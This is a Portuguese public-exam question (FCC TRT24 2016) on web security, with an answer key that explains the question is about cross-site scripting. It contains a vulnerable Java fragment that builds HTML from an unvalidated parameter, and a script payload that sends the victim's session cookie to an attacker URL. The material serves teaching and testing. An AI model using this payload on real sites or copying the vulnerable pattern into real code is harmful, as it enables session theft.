Questão nº 50
Questão de Tecnologia da Informação · FCC TRT24 2016 (nº 50)
Considere um cenário em que uma aplicação utiliza dados não confiáveis na construção do seguinte fragmento HTML sem validação ou filtro:
```
(String) page += "<input name='num_cartao_credito' type='TEXT' value='" +
request.getParameter("credit_card") + "'>";
```
Considere, ainda, que um atacante modifica o parâmetro `credit_card` em seu navegador para:
```
'><script>document.location= 'http://www.atacante.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'
```
Isso causa o envio do ID de sessão da vítima para o site do atacante, permitindo que sequestre a sessão atual do usuário.
Este é um cenário de ataque do tipo
- ACross-Site Scripting. (alternativa correta)
- BBuffer Overflow.
- CAdvanced Persistent Threat.
- DScript-Fake Injection.
- ESession Persistent Hijacking.
Resposta comentada
Gabarito Alternativa A
Cross-Site Scripting (XSS) é um ataque onde um invasor insere código malicioso (geralmente JavaScript) em uma página web legítima, fazendo com que o navegador da vítima o execute, como se fosse parte do site confiável.
- (A) Correta: O cenário descreve a injeção de um script malicioso (
<script>...document.cookie</script>) em uma página HTML, que é então executado no navegador da vítima para roubar seu cookie de sessão. Isso é a definição clássica de um ataque Cross-Site Scripting (XSS). - (B) Incorreta: Buffer Overflow é uma vulnerabilidade de segurança de baixo nível que ocorre quando um programa tenta gravar dados além dos limites de um buffer de tamanho fixo, geralmente levando a falhas ou execução de código arbitrário no servidor ou na aplicação, não por injeção de script em HTML.
- (C) Incorreta: Advanced Persistent Threat (APT) é uma categoria de ataques cibernéticos sofisticados e de longo prazo, geralmente direcionados a organizações específicas. Embora um ataque XSS possa ser uma tática dentro de uma APT, o XSS em si é um tipo específico de vulnerabilidade, não o termo para a campanha inteira.
- (D) Incorreta: Script-Fake Injection não é um termo padrão ou reconhecido na área de segurança da informação. É um distrator que tenta soar como algo relacionado à injeção de script, mas o termo correto é Cross-Site Scripting.
- (E) Incorreta: Session Persistent Hijacking descreve o resultado ou a consequência do ataque (o roubo e manutenção do acesso à sessão do usuário), mas não o método específico utilizado para alcançar esse objetivo. O método empregado no cenário para sequestrar a sessão foi o Cross-Site Scripting. Armadilha da banca: Esta alternativa é tentadora porque o texto menciona explicitamente "sequestre a sessão atual do usuário". No entanto, a questão pergunta sobre o tipo de ataque que causou o sequestro, e não o nome do resultado final do ataque. O XSS é o mecanismo que permite o sequestro da sessão neste caso.
Fonte: FCC TRT24 2016 Analista Judiciário - Área Apoio Especializado - Especialidade Tecnologia da Informação (Caderno Tipo 1). Reproduzida para fins de estudo.